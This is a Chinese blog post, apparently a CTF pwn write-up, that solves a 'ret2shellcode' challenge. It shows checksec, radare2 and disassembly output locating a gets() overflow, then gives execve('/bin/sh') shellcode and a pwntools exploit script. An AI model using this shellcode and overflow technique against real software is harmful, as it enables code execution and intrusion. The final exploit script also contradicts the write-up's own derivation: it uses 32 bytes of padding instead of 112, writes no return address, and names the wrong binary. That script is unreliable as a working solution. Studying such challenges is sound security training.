ret2shellcode writeup

原创

Morphy_Amo 于 2021-12-22 09:25:54 发布 50 收藏 1

分类专栏： pwn题 文章标签： 安全 web安全 pwn

本文链接：https://blog.csdn.net/Morphy_Amo/article/details/122077996

下载：ret2shellcode

1. 查看安全策略

```
root@kali:~/ctf/Other/pwn# checksec ret2shellcode
[*] '/root/ctf/Other/pwn/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
```

这里NX没有开启，存在可读可写可执行的区域

查看字符串和函数

字符串没有发现什么有价值的信息

函数如下

```
[0x08048430]> afl
0x08048430    1 34           entry0
0x08048400    1 6            sym.imp.__libc_start_main
0x08048470    4 42           sym.deregister_tm_clones
0x080484a0    4 55           sym.register_tm_clones
0x080484e0    3 30           entry.fini0
0x08048500    4 45   -> 44   entry.init0
0x08048640    1 2            sym.__libc_csu_fini
0x08048460    1 4            sym.__x86.get_pc_thunk.bx
0x08048644    1 20           sym._fini
0x080485d0    4 97           sym.__libc_csu_init
0x0804852d    1 154          main
0x08048410    1 6            sym.imp.setvbuf
0x080483e0    1 6            sym.imp.puts
0x080483d0    1 6            sym.imp.gets
0x08048420    1 6            sym.imp.strncpy
0x080483c0    1 6            sym.imp.printf
0x08048384    3 35           sym._init
0x080483f0    1 6            loc.imp.__gmon_start
```

1. `sym.imp.gets`: 可能存在溢出

寻找溢出点

查看main函数反汇编

```
|           0x0804858c      8d44241c       lea eax, dword [var_1ch]    ; .//ret2shellcode.c:14
|           0x08048590      890424         mov dword [esp], eax
|           0x08048593      e838feffff     call sym.imp.gets
|           0x08048598      c74424086400.  mov dword [var_8h], 0x64    ; .//ret2shellcode.c:15 ; 'd'
|                                                                      ; [0x64:4]=-1 ; 100
|           0x080485a0      8d44241c       lea eax, dword [var_1ch]
|           0x080485a4      89442404       mov dword [var_4h], eax
|           0x080485a8      c7042480a004.  mov dword [esp], obj.buf2   ; [0x804a080:4]=0
|           0x080485af      e86cfeffff     call sym.imp.strncpy
...
```

这里调用gets存在溢出，栈的大小为1ch。并且将输入的数据存入obj.buf2即0x804a080位置。

payload

解法一 shellcode

根据安全策略，本题存在可读可写可执行的内存区域，利用gdb的vmmap命令或radare2的iSS命令查看段信息

```
[0x0804852d]> iSS
[Segments]
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x00000034   288 0x08048034   288 -r-x PHDR
01 0x00000154    19 0x08048154    19 -r-- INTERP
02 0x00000000  1896 0x08048000  1896 -r-x LOAD0
03 0x00000f08   296 0x08049f08   476 -rw- LOAD1
04 0x00000f14   232 0x08049f14   232 -rw- DYNAMIC
05 0x00000168    68 0x08048168    68 -r-- NOTE
06 0x0000068c    44 0x0804868c    44 -r-- GNU_EH_FRAME
07 0x00000000     0 0x00000000     0 -rwx GNU_STACK
08 0x00000f08   248 0x08049f08   248 -r-- GNU_RELRO
09 0x00000000    52 0x08048000    52 -rw- ehdr
```

可以发现Stack是可读可写可执行的，也就是可以通过写入shellcode来获取shell

这里使用shell，shell的编写参考【pwn学习】pwn中的简单shellcode

```
\x31\xc9\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
```

```
payload = b'\x31\xc9\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = payload.ljust(108 + 0x4, b'\x00')
payload += p32(0x804a080)
```

这里要注意注入的大小是108+4 = 112. 栈的实际大小是存入的起始位置到ebp的空间，再加上ebp的长度。因此用`ebp - 当前地址=填充的栈空间大小`。利用gdb调试，可以看到ebp的值是`0xffffd8b8`，而puts存入的起始位置是`0xffffd84c`.

exp

```
from pwn import *
context.log_level = 'debug'
```

```
conn = process('./ret2shell')

payload = b'a' * (0x1c + 0x4)
payload += b'\x31\xc9\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

conn.recvuntil(b'!!!/n')
conn.send(payload)
conn.recvuntil(b'bye bye ~')
conn.interactive()
```